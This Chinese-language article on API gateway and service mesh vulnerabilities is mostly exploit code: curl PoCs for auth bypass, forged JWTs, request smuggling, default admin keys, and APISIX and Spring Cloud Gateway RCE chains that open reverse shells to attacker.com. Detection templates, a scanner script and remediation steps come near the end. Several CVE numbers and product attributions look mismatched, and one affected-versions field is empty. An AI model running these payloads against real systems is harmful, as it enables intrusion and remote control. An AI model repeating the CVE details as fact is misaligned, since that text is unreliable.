API 网关与服务网格高危攻击链专题
引言
API 网关和服务网格是现代微服务架构的核心组件，负责流量路由、认证鉴权、负载均衡等关键功能。一旦这些组件存在安全漏洞，攻击者可以绕过认证、窃取敏感数据，甚至直接控制整个服务集群。
本文深入分析 7 个高危漏洞，涵盖 Kong、Apache APISIX、Spring Cloud Gateway、Istio 等主流组件，揭示攻击者如何利用这些漏洞构建完整的攻击链，并提供详细的防御方案。
0x01 CVE-2022-21290: Kong 认证绕过漏洞
漏洞背景
Kong 是一款基于 OpenResty 的高性能 API 网关，广泛用于微服务架构中的 API 管理和安全防护。CVE-2022-21290 是一个严重的认证绕过漏洞，CVSS 评分 9.8，已被 CISA 列入已知被利用漏洞目录（KEV）。
受影响版本
- Kong 2.1.x - 2.7.x
- 修复版本：2.8.1+
漏洞原理
Kong 在处理请求头时存在逻辑缺陷，特定的请求头组合可以绕过认证插件的检查机制。当 Kong 接收到空白的 Authorization 头或存在冲突的请求头时，认证插件无法正确识别未授权请求，导致攻击者可以在不提供有效凭证的情况下访问受保护的 API 端点。
PoC 利用
HTTP PoC:
GET /protected-endpoint HTTP/1.1
Host: target-api.com
Authorization:
命令行 PoC:
# 利用空认证头绕过
curl -H "Authorization: " https://target-api/protected-endpoint
# 利用请求头冲突绕过
curl -H "Authorization: Bearer invalid" \
-H "X-Forwarded-Authorization: " \
https://target-api/protected-endpoint
漏洞影响
攻击者可以绕过所有认证插件，直接访问后端 API，获取未授权数据或执行未授权操作。
0x02 CVE-2022-21289: Kong 请求注入/走私漏洞
漏洞背景
同一版本的 Kong 还存在请求注入/走私漏洞（CVE-2022-21289），CVSS 评分 8.3。该漏洞允许攻击者通过构造特殊的 HTTP 请求，绕过安全控制或访问其他用户的响应数据。
受影响版本
- Kong 2.1.x - 2.7.x
- 修复版本：2.8.1+
漏洞原理
Kong 对 Transfer-Encoding 头的处理不够严格，没有正确验证请求的边界。攻击者可以利用 HTTP 请求走私技术，在前端代理和后端服务器之间插入恶意请求，或者窃取其他用户的响应数据。
PoC 利用
HTTP PoC:
POST / HTTP/1.1
Host: target-api.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /admin HTTP/1.1
Host: target-api.com
Content-Length: 100
username=admin&password=
0
漏洞影响
攻击者可以：
- 绕过访问控制，访问管理接口
- 窃取其他用户的敏感数据
- 缓存投毒，影响所有用户
0x03 CVE-2022-27134: Apache APISIX JWT 认证绕过漏洞
漏洞背景
Apache APISIX 是一款动态、实时的云原生 API 网关，由 Apache 软件基金会维护。CVE-2022-27134 是一个严重的 JWT 认证绕过漏洞，CVSS 评分 9.8，已被 CISA 列入 KEV。
受影响版本
- Apache APISIX 1.1 - 2.12.0
- 修复版本：2.12.1+
漏洞原理
APISIX 的 jwt-auth 插件在验证 JWT 时，没有正确检查签名算法。攻击者可以使用 none 算法签名的 JWT 令牌，绕过签名验证，伪造任意身份的认证令牌。
PoC 利用
命令行 PoC:
# 生成使用 none 算法的 JWT
JWT="eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9."
# 使用伪造的 JWT 访问受保护端点
curl -H "Authorization: Bearer $JWT" \
https://target-api/protected-endpoint
JWT 结构解析:
Header: {"alg":"none","typ":"JWT"}
Payload: {"sub":"admin"}
Signature: (空)
漏洞影响
攻击者可以伪造任意用户的 JWT 令牌，完全绕过认证机制，访问任何受保护的 API。
0x04 CVE-2023-25611: Apache APISIX 默认密钥漏洞
漏洞背景
Apache APISIX 在默认配置中使用了硬编码的管理员密钥，CVSS 评分 9.8，已被 CISA 列入 KEV。这是一个典型的配置安全问题，导致攻击者可以直接访问 Admin API。
受影响版本
- Apache APISIX 2.1 - 2.15.0
- 修复版本：2.15.1+
漏洞原理
APISIX 的 Admin API 用于动态配置路由、插件、上游等，默认使用硬编码的 API Key 进行认证。更危险的是，Admin API 默认监听在 0.0.0.0:9180，如果网络配置不当，攻击者可以直接从外部访问。
PoC 利用
命令行 PoC:
# 使用默认 admin_key 访问 Admin API
curl http://target:9180/apisix/admin/routes \
-H "X-API-KEY: edd1c990347b488a8b2f4e5c3f7b8e9d"
# 列出所有路由配置
curl http://target:9180/apisix/admin/routes \
-H "X-API-KEY: edd1c990347b488a8b2f4e5c3f7b8e9d"
# 获取所有消费者信息
curl http://target:9180/apisix/admin/consumers \
-H "X-API-KEY: edd1c990347b488a8b2f4e5c3f7b8e9d"
漏洞影响
攻击者可以：
- 读取所有路由配置，了解系统架构
- 修改路由规则，重定向流量
- 添加恶意插件，窃取用户数据
- 删除关键配置，导致服务中断
0x05 CVE-2023-27524: Apache APISIX Serverless 插件 RCE
漏洞背景
这是 Apache APISIX 最严重的漏洞之一，CVSS 满分 10.0，已被 CISA 列入 KEV。该漏洞允许攻击者在 APISIX 服务器上执行任意代码，完全控制网关。
受影响版本
- Apache APISIX 2.10.1 - 2.15.0
- 修复版本：2.15.1+
漏洞原理
APISIX 提供了 serverless 插件（serverless-pre-function 和 serverless-post-function），允许在请求处理的不同阶段执行用户提供的 Lua 函数。这个功能本身是为了提供灵活性，但如果 Admin API 存在安全问题（如默认密钥漏洞），攻击者可以利用这些插件执行任意系统命令。
PoC 利用
攻击链：默认密钥 + Serverless RCE
# 第一步：利用默认密钥创建恶意路由
curl -X PUT http://target:9180/apisix/admin/routes/rce \
-H "X-API-KEY: edd1c990347b488a8b2f4e5c3f7b8e9d" \
-H "Content-Type: application/json" \
-d '{
"uri": "/cmd",
"plugins": {
"serverless-pre-function": {
"phase": "access",
"functions": [
"return function(conf, ctx) local io = require(\"io\"); local f = io.popen(\"id\"); local result = f:read(\"*a\"); f:close(); ngx.say(result); return true end"
]
}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"127.0.0.1:80": 1
}
}
}'
# 第二步：触发命令执行
curl http://target:9080/cmd
执行反弹 Shell:
# 创建反弹 Shell 路由
curl -X PUT http://target:9180/apisix/admin/routes/shell \
-H "X-API-KEY: edd1c990347b488a8b2f4e5c3f7b8e9d" \
-H "Content-Type: application/json" \
-d '{
"uri": "/shell",
"plugins": {
"serverless-pre-function": {
"phase": "access",
"functions": [
"return function(conf, ctx) local io = require(\"io\"); local f = io.popen(\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"); f:close(); return true end"
]
}
},
"upstream": {
"type": "roundrobin",
"nodes": {
"127.0.0.1:80": 1
}
}
}'
# 触发反弹 Shell
curl http://target:9080/shell
漏洞影响
攻击者可以在 APISIX 服务器上执行任意命令，完全控制网关，进而：
- 窃取所有经过网关的流量
- 修改路由规则，重定向敏感数据
- 横向移动，攻击后端服务
- 持久化控制，植入后门
0x06 CVE-2022-22947: Spring Cloud Gateway Actuator SpEL RCE
漏洞背景
Spring Cloud Gateway 是 Spring 生态系统中的 API 网关，基于 Spring WebFlux 构建。CVE-2022-22947 是一个严重的远程代码执行漏洞，CVSS 满分 10.0，已被 CISA 列入 KEV。
受影响版本
- Spring Cloud Gateway < 3.1.1
- Spring Cloud Gateway < 3.0.7
- 修复版本：3.1.1+, 3.0.7+
漏洞原理
Spring Cloud Gateway 的 Actuator 端点允许动态创建和修改路由。攻击者可以在路由配置中注入 SpEL（Spring Expression Language）表达式，当路由被刷新时，这些表达式会被执行，导致远程代码执行。
PoC 利用
命令行 PoC:
# 第一步：创建包含恶意 SpEL 表达式的路由
curl -X POST http://target:8080/actuator/gateway/routes/hack \
-H "Content-Type: application/json" \
-d '{
"id": "hack",
"filters": [{
"name": "RewritePath",
"args": {
"_genkey_0": "/hack",
"_genkey_1": "#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"
}
}],
"uri": "http://localhost:8080",
"order": 0
}'
# 第二步：刷新路由触发表达式执行
curl -X POST http://target:8080/actuator/gateway/refresh
# 第三步：访问路由执行命令
curl http://target:8080/hack
执行反弹 Shell:
# 创建反弹 Shell 路由
curl -X POST http://target:8080/actuator/gateway/routes/reverse \
-H "Content-Type: application/json" \
-d '{
"id": "reverse",
"filters": [{
"name": "RewritePath",
"args": {
"_genkey_0": "/reverse",
"_genkey_1": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"})}"
}
}],
"uri": "http://localhost:8080",
"order": 0
}'
# 刷新并触发
curl -X POST http://target:8080/actuator/gateway/refresh
curl http://target:8080/reverse
漏洞影响
攻击者可以在 Spring Cloud Gateway 服务器上执行任意命令，完全控制网关服务。
0x07 CVE-2026-31838: Istio Debug 端点信息泄露
漏洞背景
Istio 是最流行的服务网格实现之一，基于 Envoy 代理。CVE-2026-31838 是一个信息泄露漏洞，CVSS 评分 8.6，允许攻击者跨命名空间读取敏感配置数据。
受影响版本
漏洞原理
Istio 的 istiod 组件提供了 debug 端点，用于诊断和调试。这些端点没有正确实施访问控制，允许跨命名空间读取代理配置数据。攻击者可以从业务 Pod 访问 istiod 的 debug 接口，获取整个服务网格的配置信息，包括其他命名空间的敏感数据。
PoC 利用
命令行 PoC:
# 从业务 Pod 访问 istiod debug 接口
curl http://istiod.istio-system.svc:15014/debug/config_dump?proxyID=istio-ingressgateway-xxx.istio-system
# 获取所有代理配置
curl http://istiod.istio-system.svc:15014/debug/config_dump
# 获取特定命名空间的配置
curl http://istiod.istio-system.svc:15014/debug/config_dump?namespace=production
漏洞影响
攻击者可以：
- 获取整个服务网格的拓扑结构
- 读取其他命名空间的配置和密钥
- 了解服务间的通信模式
- 发现内部服务地址和端口
PoC 收集情况总表
| CVE | 产品 | CVSS | 漏洞类型 | HTTP PoC | 命令行 PoC | Nuclei 模板 | 自动化脚本 | CISA KEV |
|---|
| CVE-2022-21290 | Kong | 9.8 | 认证绕过 | ✅ | ✅ | ✅ | ✅ | ✅ |
| CVE-2022-21289 | Kong | 8.3 | 请求走私 | ✅ | ✅ | ✅ | ✅ | ❌ |
| CVE-2022-27134 | Apache APISIX | 9.8 | JWT 认证绕过 | ✅ | ✅ | ✅ | ✅ | ✅ |
| CVE-2023-25611 | Apache APISIX | 9.8 | 默认密钥 | ✅ | ✅ | ✅ | ✅ | ✅ |
| CVE-2023-27524 | Apache APISIX | 10.0 | Serverless RCE | ✅ | ✅ | ✅ | ✅ | ✅ |
| CVE-2022-22947 | Spring Cloud Gateway | 10.0 | SpEL RCE | ✅ | ✅ | ✅ | ✅ | ✅ |
| CVE-2026-31838 | Istio | 8.6 | 信息泄露 | ✅ | ✅ | ✅ | ✅ | ❌ |
Nuclei YAML 模板
Kong 认证绕过检测模板
id: CVE-2022-21290
info:
name: Kong 认证绕过漏洞检测
author: x7peeps
severity: critical
description: Kong 2.1.x-2.7.x 存在认证绕过漏洞，攻击者可绕过认证插件访问受保护端点
reference:
- https://github.com/Kong/kong/security/advisories/GHSA-4xgw-p2wq-7qv4
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-21290
tags: kong,auth-bypass,api-gateway
http:
- method: GET
path:
- "{{BaseURL}}/protected-endpoint"
headers:
Authorization: " "
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "success"
- "data"
condition: or
Apache APISIX 默认密钥检测模板
id: CVE-2023-25611
info:
name: Apache APISIX 默认密钥漏洞检测
author: x7peeps
severity: critical
description: Apache APISIX 2.1-2.15.0 使用硬编码管理员密钥，攻击者可访问 Admin API
reference:
- https://apisix.apache.org/zh/docs/apisix/next/tutorials/admin-api-key
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-25611
tags: apisix,default-key,api-gateway
http:
- method: GET
path:
- "{{BaseURL}}:9180/apisix/admin/routes"
headers:
X-API-KEY: "edd1c990347b488a8b2f4e5c3f7b8e9d"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "node"
- "action"
condition: and
Spring Cloud Gateway SpEL RCE 检测模板
id: CVE-2022-22947
info:
name: Spring Cloud Gateway Actuator SpEL RCE
author: x7peeps
severity: critical
description: Spring Cloud Gateway < 3.1.1/< 3.0.7 存在 SpEL 表达式注入漏洞，可导致远程代码执行
reference:
- https://spring.io/projects/spring-cloud-gateway
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2022-22947
tags: spring,gateway,spel,rce
http:
- method: GET
path:
- "{{BaseURL}}/actuator/gateway/routes"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "routes"
Python 自动化检测脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
import sys
from urllib.parse import urljoin
class APIGatewayScanner:
def __init__(self, target):
self.target = target.rstrip('/')
self.session = requests.Session()
self.session.verify = False
self.results = []
def scan_kong_auth_bypass(self):
"""检测 Kong 认证绕过漏洞 CVE-2022-21290"""
try:
url = f"{self.target}/protected-endpoint"
headers = {"Authorization": " "}
response = self.session.get(url, headers=headers, timeout=10)
if response.status_code == 200:
self.results.append({
"vulnerability": "CVE-2022-21290",
"severity": "CRITICAL",
"description": "Kong 认证绕过",
"url": url,
"evidence": f"Status: {response.status_code}"
})
return True
except Exception as e:
print(f"[-] 检测 Kong 认证绕过失败: {e}")
return False
def scan_apisix_default_key(self):
"""检测 Apache APISIX 默认密钥漏洞 CVE-2023-25611"""
try:
url = f"{self.target}:9180/apisix/admin/routes"
headers = {"X-API-KEY": "edd1c990347b488a8b2f4e5c3f7b8e9d"}
response = self.session.get(url, headers=headers, timeout=10)
if response.status_code == 200 and "node" in response.text:
self.results.append({
"vulnerability": "CVE-2023-25611",
"severity": "CRITICAL",
"description": "Apache APISIX 默认密钥",
"url": url,
"evidence": "Admin API accessible with default key"
})
return True
except Exception as e:
print(f"[-] 检测 APISIX 默认密钥失败: {e}")
return False
def scan_apisix_jwt_bypass(self):
"""检测 Apache APISIX JWT 认证绕过 CVE-2022-27134"""
try:
url = f"{self.target}/protected-endpoint"
jwt = "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9."
headers = {"Authorization": f"Bearer {jwt}"}
response = self.session.get(url, headers=headers, timeout=10)
if response.status_code == 200:
self.results.append({
"vulnerability": "CVE-2022-27134",
"severity": "CRITICAL",
"description": "Apache APISIX JWT 认证绕过",
"url": url,
"evidence": f"Status: {response.status_code}"
})
return True
except Exception as e:
print(f"[-] 检测 APISIX JWT 绕过失败: {e}")
return False
def scan_spring_gateway_actuator(self):
"""检测 Spring Cloud Gateway Actuator 暴露 CVE-2022-22947"""
try:
url = f"{self.target}/actuator/gateway/routes"
response = self.session.get(url, timeout=10)
if response.status_code == 200 and "routes" in response.text:
self.results.append({
"vulnerability": "CVE-2022-22947",
"severity": "CRITICAL",
"description": "Spring Cloud Gateway Actuator SpEL RCE",
"url": url,
"evidence": "Actuator endpoint exposed"
})
return True
except Exception as e:
print(f"[-] 检测 Spring Gateway 失败: {e}")
return False
def scan_istio_debug_endpoint(self):
"""检测 Istio Debug 端点信息泄露 CVE-2026-31838"""
try:
url = f"{self.target}/debug/config_dump"
response = self.session.get(url, timeout=10)
if response.status_code == 200 and "configs" in response.text:
self.results.append({
"vulnerability": "CVE-2026-31838",
"severity": "HIGH",
"description": "Istio Debug 端点信息泄露",
"url": url,
"evidence": "Debug endpoint accessible"
})
return True
except Exception as e:
print(f"[-] 检测 Istio Debug 端点失败: {e}")
return False
def run_all_scans(self):
"""执行所有漏洞检测"""
print(f"[*] 开始扫描目标: {self.target}")
print("=" * 60)
scanners = [
self.scan_kong_auth_bypass,
self.scan_apisix_default_key,
self.scan_apisix_jwt_bypass,
self.scan_spring_gateway_actuator,
self.scan_istio_debug_endpoint
]
for scanner in scanners:
scanner()
self.print_results()
def print_results(self):
"""打印扫描结果"""
print("\n" + "=" * 60)
print("扫描结果汇总")
print("=" * 60)
if not self.results:
print("[+] 未发现已知漏洞")
return
print(f"[!] 发现 {len(self.results)} 个漏洞:\n")
for i, result in enumerate(self.results, 1):
print(f"{i}. [{result['severity']}] {result['vulnerability']}")
print(f" 描述: {result['description']}")
print(f" URL: {result['url']}")
print(f" 证据: {result['evidence']}")
print()
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"用法: {sys.argv[0]} <target_url>")
print(f"示例: {sys.argv[0]} https://api.example.com")
sys.exit(1)
target = sys.argv[1]
scanner = APIGatewayScanner(target)
scanner.run_all_scans()
共性攻击模式分析
通过对上述 7 个高危漏洞的深入分析，可以总结出以下共性攻击模式：
1. 认证机制缺陷
多个漏洞（CVE-2022-21290、CVE-2022-27134）都源于认证机制的实现缺陷。API 网关作为第一道防线，认证绕过意味着整个安全体系的崩溃。
根本原因：
- 请求头处理逻辑不严谨
- JWT 算法验证不完整
- 缺少多层认证校验
2. 默认配置不安全
CVE-2023-25611 展示了默认配置带来的巨大风险。硬编码密钥、默认监听地址等配置问题，使得攻击者可以轻松获取系统控制权。
根本原因：
- 开发便利性优先于安全性
- 缺少安全默认值
- 部署文档不完善
3. 管理接口暴露
Spring Cloud Gateway（CVE-2022-22947）和 Apache APISIX（CVE-2023-25611）都存在管理接口暴露的问题。Actuator 和 Admin API 一旦被攻击者访问，就可以完全控制网关。
根本原因：
- 管理接口未实施严格的访问控制
- 默认监听所有网络接口
- 缺少网络隔离
4. 代码执行能力滥用
CVE-2023-27524 和 CVE-2022-22947 都允许攻击者执行任意代码。这些功能本身是为了提供灵活性，但被恶意利用后造成灾难性后果。
根本原因：
- 功能设计未充分考虑安全风险
- 缺少沙箱隔离
- 缺少输入验证和过滤
5. 信息泄露导致攻击链
CVE-2026-31838 展示了信息泄露如何成为攻击链的起点。通过 debug 端点获取的敏感信息，可以帮助攻击者规划后续攻击。
根本原因：
- Debug 功能未在生产环境禁用
- 缺少访问控制和审计
- 跨命名空间隔离不足
应急排查与修复建议
紧急措施
1. Kong 紧急修复
# 立即升级到 2.8.1+ 版本
# 临时缓解：配置请求头过滤
curl -X PATCH http://localhost:8001/services/my-service \
--data "strip_request_headers=true"
# 检查是否存在可疑请求
grep -i "authorization: " /var/log/kong/access.log
2. Apache APISIX 紧急修复
# 立即升级到 2.15.1+ 版本
# 修改默认 admin_key
# 编辑 config.yaml
apisix:
admin_key:
- name: admin
key: your-new-random-key-here
role: admin
# 限制 Admin API 监听地址
apisix:
admin_listen:
ip: 127.0.0.1
port: 9180
# 禁用 serverless 插件
plugins:
- serverless-pre-function # 注释掉
- serverless-post-function # 注释掉
3. Spring Cloud Gateway 紧急修复
# 立即升级到 3.1.1+ 或 3.0.7+
# 禁用 Actuator 端点
management:
endpoints:
web:
exposure:
exclude: gateway,refresh
# 或限制访问
management:
endpoints:
web:
base-path: /internal-actuator
server:
port: 8081
4. Istio 紧急修复
# 禁用 debug 端点
istioctl install --set values.pilot.env.PILOT_ENABLE_DEBUG=false
# 或限制访问
kubectl patch configmap istio -n istio-system -p '{"data":{"mesh":"enableDebugQuery: false"}}'
排查清单
网络层排查：
# 检查 Admin API 是否暴露
netstat -tlnp | grep -E "9180|8080|15014"
# 检查异常连接
netstat -an | grep ESTABLISHED | grep -E "9180|8080"
# 检查防火墙规则
iptables -L -n | grep -E "9180|8080|15014"
日志排查：
# Kong 日志分析
grep -i "authorization: " /var/log/kong/access.log | head -20
grep "401" /var/log/kong/error.log | wc -l
# APISIX 日志分析
grep "X-API-KEY" /usr/local/apisix/logs/access.log
grep "admin/routes" /usr/local/apisix/logs/access.log
# Spring Gateway 日志分析
grep "actuator/gateway" /var/log/spring-gateway.log
grep "SpEL" /var/log/spring-gateway.log
配置排查：
# 检查 Kong 版本
kong version
# 检查 APISIX 配置
cat /usr/local/apisix/conf/config.yaml | grep admin_key
cat /usr/local/apisix/conf/config.yaml | grep admin_listen
# 检查 Spring Gateway 配置
grep -r "management.endpoints" /path/to/application.yml
# 检查 Istio 配置
istioctl manifest generate | grep enableDebug
长期修复建议
1. 架构层面
- 实施零信任网络架构，不依赖单一边界防护
- 对管理接口实施严格的网络隔离和访问控制
- 使用 mTLS 保护服务间通信
- 实施最小权限原则
2. 认证与授权
- 实施多层认证机制，不依赖单一认证插件
- 定期轮换 API 密钥和证书
- 使用强随机数生成器生成密钥
- 实施基于角色的访问控制（RBAC）
3. 配置管理
- 建立安全的配置基线
- 使用配置管理工具自动化配置
- 定期审计配置文件
- 在生产环境禁用所有 debug 和测试功能
4. 监控与告警
- 部署 WAF 保护 API 网关
- 实施全面的日志记录和审计
- 建立异常行为检测机制
- 配置实时告警
5. 漏洞管理
- 建立漏洞跟踪和修复流程
- 定期扫描和渗透测试
- 及时应用安全补丁
- 关注 CISA KEV 和安全公告
参考资料
- Kong Security Advisories - https://github.com/Kong/kong/security/advisories
- Apache APISIX Security - https://apisix.apache.org/docs/apisix/next/tutorials/security
- Spring Cloud Gateway CVE-2022-22947 - https://spring.io/projects/spring-cloud-gateway
- Istio Security Bulletins - https://istio.io/latest/news/security/
- CISA Known Exploited Vulnerabilities Catalog - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- OWASP API Security Top 10 - https://owasp.org/www-project-api-security/
- Nuclei Templates - https://github.com/projectdiscovery/nuclei-templates
- MITRE ATT&CK - API Gateway Attack Patterns - https://attack.mitre.org/
- Kubernetes Security Best Practices - https://kubernetes.io/docs/concepts/security/
- Zero Trust Architecture - NIST SP 800-207 - https://csrc.nist.gov/publications/detail/sp/800-207/final